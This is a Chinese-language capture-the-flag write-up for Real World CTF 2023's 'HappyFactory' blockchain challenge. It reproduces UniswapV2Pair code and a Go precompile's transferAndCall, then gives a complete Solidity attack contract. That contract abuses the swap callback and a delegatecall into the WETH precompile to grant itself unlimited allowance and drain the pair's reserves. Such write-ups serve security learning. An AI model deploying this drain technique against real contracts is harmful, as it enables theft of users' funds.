address to
) external lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves();
address _token0 = token0;
address _token1 = token1;
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf(address(this));
uint256 _totalSupply = totalSupply();
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(
amount0 > 0 && amount1 > 0,
“UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED”
);
_burn(address(this), liquidity);
IERC20(token0).safeTransfer(to, amount0);
IERC20(token1).safeTransfer(to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
“UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT”
);
(uint112 _reserve0, uint112 _reserve1, ) = getReserves();
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
“UniswapV2: INSUFFICIENT_LIQUIDITY”
);
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, “UniswapV2: INVALID_TO”);
if (amount0Out > 0) IERC20(_token0).safeTransfer(to, amount0Out);
if (amount1Out > 0) IERC20(_token1).safeTransfer(to, amount1Out);
if (data.length > 0)
IUniswapV2Callee(to).uniswapV2Call(
msg.sender,
amount0Out,
amount1Out,
data
);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 – amount0Out
? balance0 – (_reserve0 – amount0Out)
: 0;
uint256 amount1In = balance1 > _reserve1 – amount1Out
? balance1 – (_reserve1 – amount1Out)
: 0;
require(
amount0In > 0 || amount1In > 0,
“UniswapV2: INSUFFICIENT_INPUT_AMOUNT”
);
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000 ** 2),
“UniswapV2: K”
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0;
address _token1 = token1;
IERC20(_token0).safeTransfer(
to,
IERC20(_token0).balanceOf(address(this)) – reserve0
);
IERC20(_token1).safeTransfer(
to,
IERC20(_token1).balanceOf(address(this)) – reserve1
);
}
// force reserves to match balances
function sync() external lock {
_update(
IERC20(token0).balanceOf(address(this)),
IERC20(token1).balanceOf(address(this)),
reserve0,
reserve1
);
}
}
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0x03 Analyse
清空Pair合约reserve即获胜
使用Golang实现了预编译合约，先来简单分析一下Go代码
篇幅有些长，直接上关键部分wrap.go
func transferAndCall(evm *vm.EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
if readOnly {
return nil, suppliedGas, ErrWriteProtection
}
inputArgs := &TransferAndCallInput{}
if err = unpackInputIntoInterface(inputArgs, “transferAndCall”, input); err != nil {
return nil, suppliedGas, err
}
if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
return ret, remainingGas, err
}
code := evm.StateDB.GetCode(inputArgs.To)
if len(code) == 0 {
return ret, remainingGas, nil
}
snapshot := evm.StateDB.Snapshot()
evm.depth
defer func() { evm.depth– }()
if ret, remainingGas, err = evm.Call(vm.AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
evm.StateDB.RevertToSnapshot(snapshot)
if err != ErrExecutionReverted {
remainingGas = 0
}
}
return ret, remainingGas, err
}
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WETH ABI：
{ map[
allowance:function allowance(address owner, address spender) view returns(uint256) approve:function approve(address spender, uint256 amount) returns(bool)
balanceOf:function balanceOf(address account) view returns(uint256)
transfer:function transfer(address to, uint256 amount) returns(bool)
transferAndCall:function transferAndCall(address to, uint256 amount, bytes data) returns(bool) transferFrom:function transferFrom(address from, address to, uint256 amount) returns(bool)] map[] map[] }
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与常规ERC20不同，还实现了一个transferAndCall功能，顾名思义就是在转账的同时进行特定数据（data）的执行
在wrap.go中简单看一下可以发现evm.Call(vm.AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0)该语句中使用的caller就是调用者的地址拆分开来就是A trnsfer to B和A call data to B，这样来看的话我们如果让Pair合约能够主动的调用ETH和Token中的approve我们就可以实现清空Pair合约的余额
在swap函数中具有外部调用的功能，所以我们可以通过触发外部调用实现我们的目的，但是在外部调用之中调用weth的话的caller是攻击合约地址，关键之处就是在于构造caller为Pair合约地址
想到了delegatecall，将weth中的逻辑内容搬到外部调用的恶意函数中去，这是caller地址成功构造为Pair地址
有了这个思路我们构造出攻击合约进行漏洞利用即可
0x04 Attack
interface WETH{
function balanceOf(address account)external view returns(uint256) ;
function transfer(address to, uint256 amount)external returns(bool);
function transferAndCall(address to, uint256 amount, bytes calldata data)external returns(bool);
function transferFrom(address from, address to, uint256 amount)external returns(bool);
function approve(address spender, uint256 amount)external returns(bool);
function allowance(address owner, address spender)external view returns(uint256);
}
contract attack{
WETH public weth = WETH(0x0000000000000000000000000000000000004eA1);
IERC20 public erc20;
UniswapV2Pair public pair;
// address _a,address _pair
constructor()payable{
erc20 = IERC20(0x82431c780e4204d42BF1b19AD964CD2fe715F2FD);
pair = UniswapV2Pair(0x651357d314662b28C3Db9A9902502633203CD06F);
}
function step() public {
pair.swap(1, 0, address(this), “0xdata”);
}
function uniswapV2Call(address a,uint b,uint c,bytes calldata d)public{
// (bool success,)=address(weth).delegatecall(abi.encodeWithSignature(“transferAndCall(address,uint256,bytes)”, address(weth),1,abi.encodeWithSignature(“approve(address,uint256)”, address(this),(uint)(int(-2)))));
//注释部分不可取，wrap.go中判断目标地址是否存在code，不存在将不会调用，实际上weth只是一个预编译合约，并不是一个真正存在在以太坊上的合约。
(bool success,)=address(weth).delegatecall(abi.encodeWithSignature(“approve(address,uint256)”,address(this),(uint)(int(-1))));
require(success,”fail”);
address(weth).delegatecall(abi.encodeWithSignature(“transferAndCall(address,uint256,bytes)”, address(erc20),1,abi.encodeWithSignature(“approve(address,uint256)”, address(this),(uint)(int(-1)))));
weth.transfer(address(pair),100);
}
function ok()public {
weth.transferFrom(address(pair),address(this),weth.balanceOf(address(pair)));
erc20.transferFrom(address(pair), address(this), erc20.balanceOf(address(pair)));
pair.sync();
}
receive()external payable{}
}
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最终这道题只拿到了第十七解
Sum up
总结一下，RWCTF的题目感觉还是蛮有质量的，虽然实现了区块链方向的全解但是依旧觉得有些吃力，技术能力还有待提高。
原文始发于bcYng：real world ctf 2023 HappyFactory
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